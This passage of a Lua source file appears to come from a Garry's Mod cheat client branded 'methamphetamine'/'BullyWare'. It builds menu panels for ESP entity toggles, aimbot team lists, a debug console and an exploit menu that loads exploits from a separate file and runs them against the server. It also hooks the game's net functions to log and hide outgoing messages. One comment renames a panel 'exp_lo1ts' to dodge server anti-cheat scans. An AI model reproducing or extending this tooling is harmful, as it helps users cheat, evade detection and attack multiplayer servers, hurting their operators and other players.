line.name:Dock(LEFT) 552 | line.name:SetText("") 553 | line.name:SetWide( (550/2) ) 554 | line.name.Paint = function(pnl,w,h) 555 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 556 | surface.DrawRect(0,0,w,h) 557 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 558 | -- surface.DrawRect(w-1,0,1,h) 559 | draw.SimpleText( classname, methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 560 | end 561 | if not underline then 562 | line.shownonesp = line:Add("methamphetamine.checkbox") 563 | line.shownonesp:NoClipping( false ) 564 | line.shownonesp:SetPos( 550/2+3 + 1,1 ) 565 | line.shownonesp:SetLabel("") 566 | line.shownonesp:SetSize( 20-2,20-2 ) 567 | line.shownonesp:SetState( methamphetamine.mods["ESP"].Entities[classname] or false ) 568 | line.shownonesp:Configure("ESP","Entities",classname) 569 | -- line.shownonesp.Paint = function(pnl,w,h) 570 | -- surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 571 | -- surface.DrawRect(0,0,w,h) 572 | -- surface.SetDrawColor( methamphetamine.colors. activebutton ) 573 | -- -- surface.DrawRect(w-1,0,1,h) 574 | -- --draw.SimpleText( line.shownonesptxt, methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 575 | -- end 576 | line.shownonesp.OnToggle = function(pnl,state) 577 | methamphetamine.mods["ESP"].Entities[classname] = (state or false) 578 | end 579 | end 580 | 581 | end 582 | 583 | vgui.Register("methamphetamine.entitylist",PANEL) 584 | 585 | local PANEL = {} 586 | 587 | function PANEL:Init() 588 | self.list = self:Add("DScrollPanel") 589 | local vbar = self.list:GetVBar() 590 | vbar:SetHideButtons( true ) 591 | vbar.Paint = function(pnl,w,h) 592 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.gripbackground) 593 | end 594 | vbar.btnGrip.Paint = function(pnl,w,h) 595 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.grip) 596 | end 597 | vbar:SetWide(4) 598 | vbar:DockMargin(0,2,2,2) 599 | self.list:Dock(FILL) 600 | self:AddLine(0,"Name","Ignore",true) 601 | for k , v in SortedPairs(team.GetAllTeams()) do 602 | print(k,v) 603 | self:AddLine(k,v.Name, false ) 604 | end 605 | end 606 | 607 | function PANEL:AddLine( id,name,shown,underline ) 608 | local line = self.list:Add("DPanel") 609 | line:Dock(TOP) 610 | line:SetTall(20) 611 | line:DockMargin(0,0,0,0) 612 | line.Paint = function(pnl,w,h) 613 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 614 | if underline then 615 | surface.DrawRect(0,h-1,w,1) 616 | draw.SimpleText("Ignore", methamphetamine.default.font , w/2 + 10 , h/2 , methamphetamine.colors.text ,0,1) 617 | end 618 | surface.DrawRect((550/2),0,1,h) 619 | 620 | end 621 | 622 | line.name = line:Add("DButton") 623 | line.name:Dock(LEFT) 624 | line.name:SetText("") 625 | line.name:SetWide( (550/2) ) 626 | line.name.Paint = function(pnl,w,h) 627 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 628 | surface.DrawRect(0,0,w,h) 629 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 630 | -- surface.DrawRect(w-1,0,1,h) 631 | draw.SimpleText( name, methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 632 | end 633 | if not underline then 634 | line.addteam = line:Add("methamphetamine.checkbox") 635 | line.addteam:NoClipping( false ) 636 | line.addteam:SetPos( 550/2+3 + 1,1 ) 637 | line.addteam:SetLabel("") 638 | line.addteam:SetSize( 20-2,20-2 ) 639 | line.addteam:SetState( methamphetamine.mods["Aim"].Teams[name] or false ) 640 | line.addteam.OnToggle = function(pnl,state) 641 | methamphetamine.mods["Aim"].Teams[id] = (state or false) 642 | end 643 | end 644 | 645 | end 646 | 647 | 648 | vgui.Register("methamphetamine.teamlist", PANEL ) 649 | 650 | mods:Add("Environment List", function( mod , toggle ) 651 | if not toggle then 652 | mod.panel:Remove() 653 | return 654 | end 655 | mod.panel = vgui.Create("methamphetamine.frame") 656 | mod.panel:SetSize(550,480) 657 | mod.panel:Center() 658 | mod.panel:SetTitle("Environment List") 659 | mod.panel.contents = mod.panel:Add("methamphetamine.submods") 660 | mod.panel.contents:Dock(FILL) 661 | mod.panel.contents:AddCheat("Player List", "methamphetamine.playerlist") 662 | mod.panel.contents:AddCheat("Entity List", "methamphetamine.entitylist") 663 | mod.panel.contents:AddCheat("Team List", "methamphetamine.teamlist") 664 | end) 665 | 666 | 667 | hook.Remove("ScalePlayerDamage","methamphetamine.log",function( ply, hitgroup, dmginfo ) 668 | local attacker = dmginfo:GetAttacker() 669 | methamphetamine.Log( attacker:Nick().. " dealt " .. dmginfo:GetDamage() .. " damage to ".. ply:Nick().. " using a ".. attacker:GetActiveWeapon():GetClass() ) 670 | end) 671 | 672 | 673 | mods:Add("Debug Console", function (mod,toggle) 674 | if not toggle then 675 | mod.panel:Remove() 676 | return 677 | end 678 | mod.panel = vgui.Create("methamphetamine.frame") 679 | mod.panel:SetSize(550,300) 680 | mod.panel:SetPos(5,5) 681 | mod.panel:SetTitle("BullyWare - Console") 682 | mod.panel.scroll = mod.panel:Add("DScrollPanel") 683 | mod.panel.scroll:Dock(FILL) 684 | mod.panel.scroll:DockMargin(4,4,4,4) 685 | local vbar = mod.panel.scroll:GetVBar() 686 | function vbar:Paint(w, h) 687 | draw.RoundedBox(4, 0, 0, w, h, methamphetamine.colors.grip ) 688 | end 689 | function vbar.btnGrip:Paint(w, h) 690 | draw.RoundedBox(4, 0, 0, w, h, methamphetamine.colors.gripbackground) 691 | end 692 | vbar:SetWide(4) 693 | vbar:SetHideButtons(true) 694 | 695 | 696 | for k , v in ipairs(methamphetamine.DebugLogs) do 697 | if k == 200 then return end 698 | if not IsValid(mod.panel) then return end 699 | local panel = mod.panel.scroll:Add("Panel") 700 | panel:Dock(TOP) 701 | panel:SetZPos(6) 702 | panel.markup = markup.Parse( "<colour=179,179,179,255><font=".. methamphetamine.default.font..">".. "[".. os.date("%X",v.time).."] ".. v.text .. "</font></colour>", mod.panel:GetWide() - 12 ) 703 | panel:SetTall( panel.markup:GetHeight() + 8 ) 704 | panel.Paint = function (pnl,w,h) 705 | surface.SetDrawColor( v.id % 2 == 0 and methamphetamine.colors.gripbackground or methamphetamine.colors.menubar ) 706 | surface.DrawRect(0,0,w,h) 707 | pnl.markup:Draw(4,4) 708 | end 709 | end 710 | hook.Add("methamphetamine.log","AddToDebugger",function (tbl) 711 | if mod.panel.scroll or IsValid(mod.panel.scroll) then 712 | local panel = mod.panel.scroll:Add("Panel") 713 | panel:Dock(TOP) 714 | panel:SetZPos(6) 715 | -- panel.Label = panel:Add("DLabel") 716 | -- panel.Label:Dock(FILL) 717 | -- panel.Label:SetFont(methamphetamine.default.font) 718 | -- panel.Label:SetTextColor(methamphetamine.colors.text) 719 | -- panel.Label:SetWrap(true) 720 | -- panel.Label:SizeToContents() 721 | -- panel.Label:SetText("[".. os.date("%X",tbl.time).."] ".. tbl.text) 722 | panel.markup = markup.Parse( "<colour=179,179,179,255><font=".. methamphetamine.default.font..">".. "[".. os.date("%X",tbl.time).."] ".. tbl.text .. "</font></colour>", mod.panel:GetWide() - 12 ) 723 | 724 | panel:SetTall( panel.markup:GetHeight() + 8 ) 725 | panel.Paint = function (pnl,w,h) 726 | surface.SetDrawColor( tbl.id % 2 == 0 and methamphetamine.colors.gripbackground or methamphetamine.colors.menubar ) 727 | surface.DrawRect(0,0,w,h) 728 | pnl.markup:Draw(4,4) 729 | end 730 | end 731 | end) 732 | end) 733 | 734 | 735 | 736 | mods:Add("Force close", function(mod,toggle) 737 | methamphetamine.master:SetVisible(false) 738 | end) 739 | 740 | 741 | local PANEL = {} 742 | 743 | function PANEL:Init() 744 | methamphetamine.master:SetVisible(false) 745 | self:SetSize(300,400) 746 | self:MakePopup() 747 | self.bar.closeButton = self.bar:Add("DButton") 748 | self.bar.closeButton:Dock(RIGHT) 749 | self.bar.closeButton:SetWide(20) 750 | self.bar.closeButton:SetText("") 751 | self.bar.closeButton.Paint = function(pnl,w,h) 752 | draw.SimpleText("X",methamphetamine.default.font,w/2,h/2,methamphetamine.colors.disabledtext,1,1) 753 | end 754 | self.bar.closeButton.DoClick = function() 755 | self:Remove() 756 | end 757 | 758 | self.bar.minimise = self.bar:Add("DButton") 759 | self.bar.minimise:Dock(RIGHT) 760 | self.bar.minimise:SetWide(20) 761 | self.bar.minimise:SetText("") 762 | self.bar.minimise.Paint = function(pnl,w,h) 763 | surface.SetDrawColor(methamphetamine.colors.disabledtext) 764 | surface.DrawLine(w*0.3,h*0.8,w*0.7,h*0.8) 765 | end 766 | self.bar.minimise.DoClick = function() 767 | self:SetVisible(false) 768 | end 769 | 770 | self.exploits = self:Add("Panel") 771 | self.exploits:Dock(LEFT) 772 | self.exploits.List = self.exploits:Add("DScrollPanel") 773 | self.exploits.List:Dock(TOP) 774 | self.exploits.pages = {} 775 | self._exploits = {} 776 | self:Initialize() 777 | self:SetActivePage(1) 778 | self.exploits.List:SetTall(#self.exploits.pages*20) 779 | end 780 | 781 | function PANEL:SetActivePage(iPage) 782 | self.exploits.active = self.exploits.pages[iPage] 783 | self.exploits.active.page:SetVisible(true) 784 | end 785 | 786 | function PANEL:AddExploit(name, data) 787 | self._exploits[name] = data 788 | self.exploits.pages[#self.exploits.pages+1] = self.exploits.List:Add("DButton") 789 | local exploit = self.exploits.pages[#self.exploits.pages] 790 | exploit:Dock(TOP) 791 | exploit:SetTall(20) 792 | exploit:SetText(name) 793 | exploit:SetFont( methamphetamine.default.font ) 794 | exploit:SetTextColor( methamphetamine.colors.text ) 795 | exploit.canExecute = data.requirements() 796 | exploit.Paint = function(pnl,w,h) 797 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.border or methamphetamine.colors.hovered) 798 | surface.DrawRect(0,0,w,h) 799 | end 800 | if not exploit.canExecute then 801 | exploit:MethToolTip("This exploit can not be used on this server.") 802 | end 803 | 804 | exploit.DoClick = function(pnl) 805 | if IsValid(self.exploits.active) then 806 | self.exploits.active.page:SetVisible(false) 807 | end 808 | pnl.page:SetVisible(true) 809 | self.exploits.active = pnl 810 | end 811 | 812 | exploit.page = self:Add("methamphetamine.panel") 813 | exploit.page:Dock(FILL) 814 | exploit.page.Header = exploit.page:Add("Panel") 815 | exploit.page.Header:Dock(TOP) 816 | exploit.page.Header:SetTall(30) 817 | exploit.page.Header.Paint = function(pnl,w,h) 818 | draw.SimpleText(data.name, methamphetamine.default.font,w/2,h/2,methamphetamine.colors.text,1,1) 819 | surface.SetDrawColor(methamphetamine.colors.text) 820 | surface.DrawRect(w*0.2,h*0.8,w*0.6,1) 821 | end 822 | exploit.page.args = {} 823 | exploit.attackArgs = {} 824 | 825 | if data.desc then 826 | exploit.page.desc = exploit.page:Add("Panel") 827 | local desc = exploit.page.desc 828 | desc:Dock(TOP) 829 | desc:SetTall(30) 830 | desc:DockMargin(4,0,4,0) 831 | local label = desc:Add("DLabel") 832 | label:Dock(FILL) 833 | label:SetWrap(true) 834 | label:SetFont(methamphetamine.default.font) 835 | label:SetTextColor(methamphetamine.colors.text) 836 | label:SetText(data.desc) 837 | label:SizeToContents() 838 | end 839 | 840 | for k,v in ipairs(data.args) do 841 | exploit.attackArgs[k] = v.default 842 | if v.type == "text" then 843 | local base = exploit.page:Add("EditablePanel") 844 | base:Dock(TOP) 845 | base:DockMargin(8,4,8,4) 846 | base:SetTall(35) 847 | base.Paint = function(pnl,w,h) 848 | draw.SimpleText(v.name, methamphetamine.default.font,5,5,methamphetamine.colors.text,0,1) 849 | end 850 | exploit.page.args[k] = base:Add("methamphetamine.search") 851 | local argBox = exploit.page.args[k] 852 | argBox:Dock(BOTTOM) 853 | argBox:SetTall(20) 854 | argBox.OnEnter = function(pnl,text) 855 | exploit.attackArgs[k] = text 856 | end 857 | argBox:SetValue(v.default) 858 | elseif v.type == "number"then 859 | local base = exploit.page:Add("EditablePanel") 860 | base:Dock(TOP) 861 | base:DockMargin(8,4,8,4) 862 | base:SetTall(35) 863 | base.Paint = function(pnl,w,h) 864 | draw.SimpleText(v.name, methamphetamine.default.font,5,5,methamphetamine.colors.text,0,1) 865 | end 866 | exploit.page.args[k] = base:Add("methamphetamine.slider") 867 | local argBox = exploit.page.args[k] 868 | argBox:SetMin(v.min) 869 | argBox:SetMax(v.max) 870 | argBox:SetValue(v.default) 871 | argBox:Dock(BOTTOM) 872 | argBox:SetTall(20) 873 | argBox:SetValue( v.default/v.max ) 874 | argBox.OnValueChanged = function(pnl,val) 875 | exploit.attackArgs[k] = val*pnl:GetMax() 876 | end 877 | elseif v.type == "bool" then 878 | local base = exploit.page:Add("EditablePanel") 879 | base:Dock(TOP) 880 | base:DockMargin(8,4,8,4) 881 | base:SetTall(20) 882 | base.Paint = nil 883 | exploit.page.args[k] = base:Add("methamphetamine.checkbox") 884 | local argBox = exploit.page.args[k] 885 | argBox:SetState(v.default) 886 | argBox:Dock(LEFT) 887 | argBox:SetWide(20) 888 | argBox.OnToggle = function(pnl,val) 889 | exploit.attackArgs[k] = val 890 | end 891 | argBox:SetLabel(v.name) 892 | end 893 | end 894 | 895 | local attack = exploit.page:Add("DButton") 896 | attack:SetText("Execute") 897 | attack:SetFont( methamphetamine.default.font ) 898 | attack:SetTextColor( methamphetamine.colors.text ) 899 | attack.Paint = function(pnl,w,h) 900 | surface.SetDrawColor(pnl:IsHovered() and methamphetamine.colors.border or methamphetamine.colors.hovered) 901 | surface.DrawRect(0,0,w,h) 902 | end 903 | if not exploit.canExecute then 904 | attack:MethToolTip("This exploit can not be used on this server.") 905 | end 906 | attack.DoClick = function(pnl) 907 | if not exploit.canExecute then return end 908 | self._exploits[name].active = not self._exploits[name].active 909 | if self._exploits[name].active and self._exploits[name].toggle then 910 | attack:SetText("Abort") 911 | else 912 | attack:SetText("Execute") 913 | end 914 | local executeData = {name = name,args={},canExecute=exploit.canExecute,active = self._exploits[name].active} 915 | for k,v in ipairs(data.args) do 916 | executeData.args[k] = exploit.attackArgs[k] 917 | end 918 | self._exploits[name].onExecute(executeData) 919 | end 920 | 921 | exploit.page.PerformLayout = function(pnl,w,h) 922 | attack:SetPos( w/2-60, (#exploit.page.args * 35) + 80 ) 923 | attack:SetSize(120,20) 924 | end 925 | exploit.page:SetVisible(false) 926 | end 927 | 928 | methamphetamine.exploits = include("exploits.lua") 929 | function PANEL:Initialize() 930 | self.exploits.List:Clear() 931 | for k,v in ipairs( methamphetamine.exploits ) do 932 | self:AddExploit(v.name, v) 933 | end 934 | end 935 | 936 | function PANEL:PerformLayout(w,h) 937 | self.exploits:SetWide(w*0.4) 938 | end 939 | 940 | vgui.Register("methamphetamine.windows.exp_lo1ts",PANEL,"methamphetamine.frame") -- just in case a server decides to look for 'exploits' within vgui.Register/Create 941 | 942 | 943 | mods:Add("Exploit menu", function(mod,toggle) 944 | if not toggle then 945 | mod.panel:Remove() 946 | return 947 | end 948 | mod.panel = vgui.Create("methamphetamine.windows.exp_lo1ts") 949 | mod.panel:SetSize(550,480) 950 | mod.panel:Center() 951 | mod.panel:SetTitle("Exploit menu") 952 | end) 953 | 954 | local PANEL = {} 955 | 956 | function PANEL:Init() 957 | self.list = self:Add("DScrollPanel") 958 | local vbar = self.list:GetVBar() 959 | vbar:SetHideButtons( true ) 960 | vbar.Paint = function(pnl,w,h) 961 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.gripbackground) 962 | end 963 | vbar.btnGrip.Paint = function(pnl,w,h) 964 | draw.RoundedBox(4,0,0,w,h,methamphetamine.colors.grip) 965 | end 966 | vbar:SetWide(4) 967 | vbar:DockMargin(0,2,2,2) 968 | self.list:Dock(FILL) 969 | self:AddLine("Name",true) 970 | for name, bool in SortedPairs(methamphetamine.cachedNetMessages) do 971 | self:AddLine( name ) 972 | end 973 | 974 | end 975 | 976 | 977 | function PANEL:AddLine( name,underline ) 978 | local line = self.list:Add("DPanel") 979 | line:Dock(TOP) 980 | line:SetTall(20) 981 | line:DockMargin(0,0,0,0) 982 | line.Paint = function(pnl,w,h) 983 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 984 | if underline then 985 | surface.DrawRect(0,h-1,w,1) 986 | draw.SimpleText("Name", methamphetamine.default.font , 8 , h/2 , methamphetamine.colors.text ,0,1) 987 | end 988 | surface.DrawRect((550/2),0,1,h) 989 | 990 | end 991 | 992 | line.name = line:Add("DButton") 993 | line.name:Dock(LEFT) 994 | line.name:SetText("") 995 | line.name:SetWide( (550/2) ) 996 | line.name.Paint = function(pnl,w,h) 997 | surface.SetDrawColor( pnl:IsHovered() and methamphetamine.colors.activebutton or color_transparent ) 998 | surface.DrawRect(0,0,w,h) 999 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 1000 | -- surface.DrawRect(w-1,0,1,h) 1001 | draw.SimpleText( name, methamphetamine.default.font, 8,h/2, methamphetamine.colors.text,0,1 ) 1002 | end 1003 | 1004 | end 1005 | 1006 | vgui.Register("methamphetamine.windows.netmessages",PANEL,"methamphetamine.frame") 1007 | 1008 | 1009 | local PANEL = {} 1010 | 1011 | function PANEL:Init() 1012 | 1013 | end 1014 | 1015 | vgui.Register("methamphetamine.windows.netmessagelistener",PANEL,"methamphetamine.frame") 1016 | 1017 | 1018 | mods:Add("Net Message List", function(mod,toggle) 1019 | if not toggle then 1020 | mod.panel:SetVisible(false) 1021 | return 1022 | end 1023 | if IsValid(mod.panel) then 1024 | mod.panel:SetVisible(true) 1025 | return 1026 | end 1027 | mod.panel = vgui.Create("methamphetamine.windows.netmessages") 1028 | mod.panel:SetSize(550,480) 1029 | mod.panel:Center() 1030 | mod.panel:SetTitle("Net Message List") 1031 | end) 1032 | 1033 | 1034 | __detouredNetMessages = __detouredNetMessages or false 1035 | local netReceive = net.Receive 1036 | local netWriteString = net.WriteString 1037 | local netWriteInt = net.WriteInt 1038 | local netWriteEntity = net.WriteEntity 1039 | local netWriteUInt = net.WriteUInt 1040 | local netStart = net.Start 1041 | local netSendToServer = net.SendToServer 1042 | 1043 | local HIDE_MESSAGES = {} 1044 | 1045 | concommand.Add("__hide_net_msg",function(ply,cmd,args) 1046 | HIDE_MESSAGES[args[1]] = true 1047 | end) 1048 | 1049 | if not __detouredNetMessages then 1050 | net.Receive = function(msg,callback) 1051 | hook.Run("methamphetamine.NetListener","Receive",msg) 1052 | return netReceive(msg,callback) 1053 | end 1054 | net.Start = function(msg,unreliable) 1055 | if not HIDE_MESSAGES[msg] then 1056 | hook.Run("methamphetamine.NetListener","Start",msg) 1057 | end 1058 | return netStart(msg,unreliable) 1059 | end 1060 | net.WriteString = function(msg) 1061 | hook.Run("methamphetamine.NetListener","WriteString",msg) 1062 | return netWriteString(msg) 1063 | end 1064 | net.WriteEntity = function(msg) 1065 | hook.Run("methamphetamine.NetListener","WriteEntity",tostring(msg)) 1066 | return netWriteEntity(msg,callback) 1067 | end 1068 | net.WriteInt = function(msg,bit) 1069 | hook.Run("methamphetamine.NetListener","WriteInt",msg .. ":" .. bit) 1070 | return netWriteInt(msg,bit) 1071 | end 1072 | net.WriteUInt = function(msg,bit) 1073 | hook.Run("methamphetamine.NetListener","WriteUInt",msg .. ":" .. bit) 1074 | return netWriteUInt(msg,bit) 1075 | end 1076 | net.SendToServer = function() 1077 | hook.Run("methamphetamine.NetListener","SendToServer","") 1078 | return netSendToServer() 1079 | end 1080 | end 1081 | 1082 | mods:Add("NetMsg Listener", function(mod,toggle) 1083 | if not toggle then 1084 | mod.panel:SetVisible(false) 1085 | return 1086 | end 1087 | if IsValid(mod.panel) then 1088 | mod.panel:SetVisible(true) 1089 | return 1090 | end 1091 | mod.panel = vgui.Create("methamphetamine.windows.netmessagelistener") 1092 | mod.panel:SetSize(550,300) 1093 | mod.panel:Center() 1094 | mod.panel:SetTitle("Net Message List") 1095 | mod.panel.scroll = mod.panel:Add("DScrollPanel") 1096 | mod.panel.scroll:Dock(FILL) 1097 | mod.panel.scroll:DockMargin(4,4,4,4) 1098 | local vbar = mod.panel.scroll:GetVBar() 1099 | function vbar:Paint(w, h) 1100 | draw.RoundedBox(4, 0, 0, w, h, methamphetamine.colors.grip ) 1101 | end 1102 | function vbar.btnGrip:Paint(w, h) 1103 | draw.RoundedBox(4, 0, 0, w, h, methamphetamine.colors.gripbackground) 1104 | end 1105 | vbar:SetWide(4) 1106 | vbar:SetHideButtons(true) 1107 | 1108 | local id = 0 1109 | hook.Add("methamphetamine.NetListener","DermaShit",function(type,data) 1110 | if not IsValid(mod.panel) then hook.Remove("methamphetamine.NetListener","DermaShit") return end 1111 | local panel = mod.panel.scroll:Add("Panel") 1112 | panel:Dock(TOP) 1113 | panel:SetZPos(6) 1114 | local time = os.time() 1115 | panel.markup = markup.Parse( "<colour=179,179,179,255><font=".. methamphetamine.default.font..">".. "["..os.date("%X",time).."]".."["..type.."] ".. data .. "</font></colour>", mod.panel:GetWide() - 12 ) 1116 | panel:SetTall( panel.markup:GetHeight() + 8 ) 1117 | panel.Paint = function (pnl,w,h) 1118 | surface.SetDrawColor( id % 2 == 0 and methamphetamine.colors.gripbackground or methamphetamine.colors.menubar ) 1119 | surface.DrawRect(0,0,w,h) 1120 | pnl.markup:Draw(4,4) 1121 | end 1122 | id = id + 1 1123 | end) 1124 | end) 1125 | 1126 | return mods 1127 | 1128 | 1129 | --------------------------------------------------------------------------------